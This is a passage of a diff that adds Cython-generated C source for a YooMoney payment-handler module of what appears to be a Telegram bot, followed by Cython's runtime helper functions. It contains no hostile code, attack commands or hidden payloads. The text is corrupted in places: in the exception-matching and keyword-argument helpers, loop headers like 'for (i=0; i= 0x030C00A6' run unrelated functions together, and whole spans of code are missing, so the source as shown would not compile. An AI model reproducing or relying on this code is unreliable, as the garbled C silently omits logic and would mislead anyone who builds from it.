171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_callback_query); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_F); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyObject_RichCompare(__pyx_t_5, __pyx_n_u_enter_custom_amount_yoomoney, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_query, __pyx_kp_s_types_CallbackQuery) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_10process_enter_custom_amount, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_enter_custom_amount, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__14)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_6, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_enter_custom_amount, __pyx_t_3) < 0) __PYX_ERR(0, 171, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yoomoney_pay.py":186 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yoomoney) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_router); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_entering_custom_amount_yoomoney); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_message, __pyx_kp_s_types_Message) < 0) __PYX_ERR(0, 186, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_state, __pyx_n_s_FSMContext) < 0) __PYX_ERR(0, 186, __pyx_L1_error) + __pyx_t_6 = __Pyx_CyFunction_New(&__pyx_mdef_8handlers_8payments_12yoomoney_pay_13process_custom_amount_input, __Pyx_CYFUNCTION_COROUTINE, __pyx_n_s_process_custom_amount_input, NULL, __pyx_n_s_handlers_payments_yoomoney_pay, __pyx_d, ((PyObject *)__pyx_codeobj__18)); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_CyFunction_SetAnnotationsDict(__pyx_t_6, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (PyDict_SetItem(__pyx_d, __pyx_n_s_process_custom_amount_input, __pyx_t_5) < 0) __PYX_ERR(0, 186, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":1 + * import hashlib # <<<<<<<<<<<<<< + * from typing import Any + * + */ + __pyx_t_5 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_5) < 0) __PYX_ERR(0, 1, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /*--- Wrapped vars code ---*/ + + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_8); + if (__pyx_m) { + if (__pyx_d && stringtab_initialized) { + __Pyx_AddTraceback("init handlers.payments.yoomoney_pay", __pyx_clineno, __pyx_lineno, __pyx_filename); + } + #if !CYTHON_USE_MODULE_STATE + Py_CLEAR(__pyx_m); + #else + Py_DECREF(__pyx_m); + if (pystate_addmodule_run) { + PyObject *tp, *value, *tb; + PyErr_Fetch(&tp, &value, &tb); + PyState_RemoveModule(&__pyx_moduledef); + PyErr_Restore(tp, value, tb); + } + #endif + } else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_ImportError, "init handlers.payments.yoomoney_pay"); + } + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + #if CYTHON_PEP489_MULTI_PHASE_INIT + return (__pyx_m != NULL) ? 0 : -1; + #elif PY_MAJOR_VERSION >= 3 + return __pyx_m; + #else + return; + #endif +} +/* #### Code section: cleanup_globals ### */ +/* #### Code section: cleanup_module ### */ +/* #### Code section: main_method ### */ +/* #### Code section: utility_code_pragmas ### */ +#ifdef _MSC_VER +#pragma warning( push ) +/* Warning 4127: conditional expression is constant + * Cython uses constant conditional expressions to allow in inline functions to be optimized at + * compile-time, so this warning is not useful + */ +#pragma warning( disable : 4127 ) +#endif + + + +/* #### Code section: utility_code_def ### */ + +/* --- Runtime support code --- */ +/* Refnanny */ +#if CYTHON_REFNANNY +static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { + PyObject *m = NULL, *p = NULL; + void *r = NULL; + m = PyImport_ImportModule(modname); + if (!m) goto end; + p = PyObject_GetAttrString(m, "RefNannyAPI"); + if (!p) goto end; + r = PyLong_AsVoidPtr(p); +end: + Py_XDECREF(p); + Py_XDECREF(m); + return (__Pyx_RefNannyAPIStruct *)r; +} +#endif + +/* PyErrExceptionMatches */ +#if CYTHON_FAST_THREAD_STATE +static int __Pyx_PyErr_ExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030C00A6 + PyObject *current_exception = tstate->current_exception; + if (unlikely(!current_exception)) return 0; + exc_type = (PyObject*) Py_TYPE(current_exception); + if (exc_type == err) return 1; +#else + exc_type = tstate->curexc_type; + if (exc_type == err) return 1; + if (unlikely(!exc_type)) return 0; +#endif + #if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(exc_type); + #endif + if (unlikely(PyTuple_Check(err))) { + result = __Pyx_PyErr_ExceptionMatchesTuple(exc_type, err); + } else { + result = __Pyx_PyErr_GivenExceptionMatches(exc_type, err); + } + #if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(exc_type); + #endif + return result; +} +#endif + +/* PyErrFetchRestore */ +#if CYTHON_FAST_THREAD_STATE +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject *tmp_value; + assert(type == NULL || (value != NULL && type == (PyObject*) Py_TYPE(value))); + if (value) { + #if CYTHON_COMPILING_IN_CPYTHON + if (unlikely(((PyBaseExceptionObject*) value)->traceback != tb)) + #endif + PyException_SetTraceback(value, tb); + } + tmp_value = tstate->current_exception; + tstate->current_exception = value; + Py_XDECREF(tmp_value); + Py_XDECREF(type); + Py_XDECREF(tb); +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + tmp_type = tstate->curexc_type; + tmp_value = tstate->curexc_value; + tmp_tb = tstate->curexc_traceback; + tstate->curexc_type = type; + tstate->curexc_value = value; + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#endif +} +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { +#if PY_VERSION_HEX >= 0x030C00A6 + PyObject* exc_value; + exc_value = tstate->current_exception; + tstate->current_exception = 0; + *value = exc_value; + *type = NULL; + *tb = NULL; + if (exc_value) { + *type = (PyObject*) Py_TYPE(exc_value); + Py_INCREF(*type); + #if CYTHON_COMPILING_IN_CPYTHON + *tb = ((PyBaseExceptionObject*) exc_value)->traceback; + Py_XINCREF(*tb); + #else + *tb = PyException_GetTraceback(exc_value); + #endif + } +#else + *type = tstate->curexc_type; + *value = tstate->curexc_value; + *tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; +#endif +} +#endif + +/* PyObjectGetAttrStr */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro)) + return tp->tp_getattro(obj, attr_name); +#if PY_MAJOR_VERSION < 3 + if (likely(tp->tp_getattr)) + return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); +#endif + return PyObject_GetAttr(obj, attr_name); +} +#endif + +/* PyObjectGetAttrStrNoError */ +#if __PYX_LIMITED_VERSION_HEX < 0x030d00A1 +static void __Pyx_PyObject_GetAttrStr_ClearAttributeError(void) { + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + if (likely(__Pyx_PyErr_ExceptionMatches(PyExc_AttributeError))) + __Pyx_PyErr_Clear(); +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name) { + PyObject *result; +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + (void) PyObject_GetOptionalAttr(obj, attr_name, &result); + return result; +#else +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_USE_TYPE_SLOTS && PY_VERSION_HEX >= 0x030700B1 + PyTypeObject* tp = Py_TYPE(obj); + if (likely(tp->tp_getattro == PyObject_GenericGetAttr)) { + return _PyObject_GenericGetAttrWithDict(obj, attr_name, NULL, 1); + } +#endif + result = __Pyx_PyObject_GetAttrStr(obj, attr_name); + if (unlikely(!result)) { + __Pyx_PyObject_GetAttrStr_ClearAttributeError(); + } + return result; +#endif +} + +/* GetBuiltinName */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name) { + PyObject* result = __Pyx_PyObject_GetAttrStrNoError(__pyx_b, name); + if (unlikely(!result) && !PyErr_Occurred()) { + PyErr_Format(PyExc_NameError, +#if PY_MAJOR_VERSION >= 3 + "name '%U' is not defined", name); +#else + "name '%.200s' is not defined", PyString_AS_STRING(name)); +#endif + } + return result; +} + +/* TupleAndListFromArray */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE void __Pyx_copy_object_array(PyObject *const *CYTHON_RESTRICT src, PyObject** CYTHON_RESTRICT dest, Py_ssize_t length) { + PyObject *v; + Py_ssize_t i; + for (i = 0; i < length; i++) { + v = dest[i] = src[i]; + Py_INCREF(v); + } +} +static CYTHON_INLINE PyObject * +__Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + Py_INCREF(__pyx_empty_tuple); + return __pyx_empty_tuple; + } + res = PyTuple_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyTupleObject*)res)->ob_item, n); + return res; +} +static CYTHON_INLINE PyObject * +__Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n) +{ + PyObject *res; + if (n <= 0) { + return PyList_New(0); + } + res = PyList_New(n); + if (unlikely(res == NULL)) return NULL; + __Pyx_copy_object_array(src, ((PyListObject*)res)->ob_item, n); + return res; +} +#endif + +/* BytesEquals */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else + if (s1 == s2) { + return (equals == Py_EQ); + } else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = 